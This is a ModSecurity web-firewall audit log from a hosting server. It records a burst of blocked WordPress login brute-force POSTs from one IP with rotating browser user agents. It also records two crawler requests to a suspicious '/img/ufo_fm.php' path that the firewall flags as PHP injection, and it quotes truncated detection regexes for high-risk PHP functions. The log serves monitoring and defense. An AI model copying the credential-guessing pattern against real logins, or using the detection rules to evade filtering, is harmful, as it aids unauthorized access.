Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313967842407 1775 (- - -)
Stopwatch2: 1789313967842407 1775; combined=662, p1=263, p2=123, p3=0, p4=0, p5=276, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--44307b03-Z--
--2270170c-A--
[13/Sep/2026:18:39:28.232468 +0300] aqbDsPut1GUrjaX0wO44zQAAAMI 134.185.87.66 46816 127.0.0.1 7081
--2270170c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2270170c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2270170c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313968230809 1735 (- - -)
Stopwatch2: 1789313968230809 1735; combined=600, p1=267, p2=66, p3=0, p4=0, p5=267, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2270170c-Z--
--10668658-A--
[13/Sep/2026:18:39:28.616943 +0300] aqbDsPut1GUrjaX0wO44zgAAAMU 134.185.87.66 46834 127.0.0.1 7081
--10668658-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--10668658-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--10668658-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313968615140 1875 (- - -)
Stopwatch2: 1789313968615140 1875; combined=630, p1=242, p2=73, p3=0, p4=0, p5=315, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--10668658-Z--
--3632dd49-A--
[13/Sep/2026:18:39:29.000934 +0300] aqbDsEhjHs68UzErry1K0AAAAIA 134.185.87.66 46856 127.0.0.1 7081
--3632dd49-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3632dd49-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3632dd49-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313968998244 2821 (- - -)
Stopwatch2: 1789313968998244 2821; combined=1032, p1=427, p2=125, p3=0, p4=0, p5=480, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3632dd49-Z--
--b6067f79-A--
[13/Sep/2026:18:39:29.387610 +0300] aqbDsfut1GUrjaX0wO440gAAANY 134.185.87.66 46894 127.0.0.1 7081
--b6067f79-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b6067f79-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b6067f79-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969385951 1759 (- - -)
Stopwatch2: 1789313969385951 1759; combined=516, p1=216, p2=67, p3=0, p4=0, p5=233, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6067f79-Z--
--4e07f86b-A--
[13/Sep/2026:18:39:29.596174 +0300] aqbDsfut1GUrjaX0wO441wAAANg 216.73.216.41 46940 127.0.0.1 7081
--4e07f86b-B--
GET /img/ufo_fm.php?f=%27.%24enc.%27&p=%27.urlencode%28%24p%29.%27&rm=1 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--4e07f86b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4e07f86b-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO441wAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO441wAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969562366 33910 (- - -)
Stopwatch2: 1789313969562366 33910; combined=31105, p1=186, p2=30851, p3=0, p4=0, p5=67, sr=75, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--4e07f86b-Z--
--0a10d971-A--
[13/Sep/2026:18:39:29.775459 +0300] aqbDsfut1GUrjaX0wO443AAAAMs 134.185.87.66 46986 127.0.0.1 7081
--0a10d971-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0a10d971-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0a10d971-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969773754 1760 (- - -)
Stopwatch2: 1789313969773754 1760; combined=580, p1=231, p2=88, p3=0, p4=0, p5=261, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0a10d971-Z--
--53a7c57d-A--
[13/Sep/2026:18:39:29.780818 +0300] aqbDsfut1GUrjaX0wO442wAAAMU 216.73.216.41 46974 127.0.0.1 7081
--53a7c57d-B--
GET /img/ufo_fm.php?dl=1&f=%27.%24enc.%27&p=%27.urlencode%28%24p%29.%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--53a7c57d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--53a7c57d-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO442wAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO442wAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969747201 33663 (- - -)
Stopwatch2: 1789313969747201 33663; combined=30908, p1=223, p2=30626, p3=0, p4=0, p5=58, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--53a7c57d-Z--
--8a4e1d04-A--
[13/Sep/2026:18:39:30.159420 +0300] aqbDsvut1GUrjaX0wO444gAAANE 134.185.87.66 47038 127.0.0.1 7081
--8a4e1d04-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--8a4e1d04-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8a4e1d04-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313970157030 2459 (- - -)
Stopwatch2: 1789313970157030 2459; combined=768, p1=389, p2=91, p3=0, p4=0, p5=288, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8a4e1d04-Z--
--dbaa662e-A--
[13/Sep/2026:18:39:30.539048 +0300] aqbDskhjHs68UzErry1K0gAAAIo 134.185.87.66 47096 127.0.0.1 7081
--dbaa662e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dbaa662e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dbaa662e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313970537208 1905 (- - -)
Stopwatch2: 1789313970537208 1905; combined=603, p1=246, p2=74, p3=0, p4=0, p5=282, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dbaa662e-Z--
--e1de3269-A--
[13/Sep/2026:18:39:30.929663 +0300] aqbDsvut1GUrjaX0wO446gAAANI 134.185.87.66 47122 127.0.0.1 7081
--e1de3269-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e1de3269-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e1de3269-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313970927243 2490 (- - -)
Stopwatch2: 1789313970927243 2490; combined=738, p1=346, p2=109, p3=0, p4=0, p5=283, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e1de3269-Z--
--c0fd9349-A--
[13/Sep/2026:18:39:31.326412 +0300] aqbDs-ut1GUrjaX0wO447AAAANY 134.185.87.66 47144 127.0.0.1 7081
--c0fd9349-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c0fd9349-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c0fd9349-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313971324301 2187 (- - -)
Stopwatch2: 1789313971324301 2187; combined=691, p1=357, p2=98, p3=0, p4=0, p5=235, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c0fd9349-Z--
--5c3a6b1b-A--
[13/Sep/2026:18:39:31.706172 +0300] aqbDs-ut1GUrjaX0wO447gAAAMQ 134.185.87.66 47158 127.0.0.1 7081
--5c3a6b1b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5c3a6b1b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5c3a6b1b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313971703768 2460 (- - -)
Stopwatch2: 1789313971703768 2460; combined=756, p1=300, p2=164, p3=0, p4=0, p5=291, sr=144, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5c3a6b1b-Z--
--7585253b-A--
[13/Sep/2026:18:39:32.093207 +0300] aqbDtPut1GUrjaX0wO447wAAAM8 134.185.87.66 47178 127.0.0.1 7081
--7585253b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
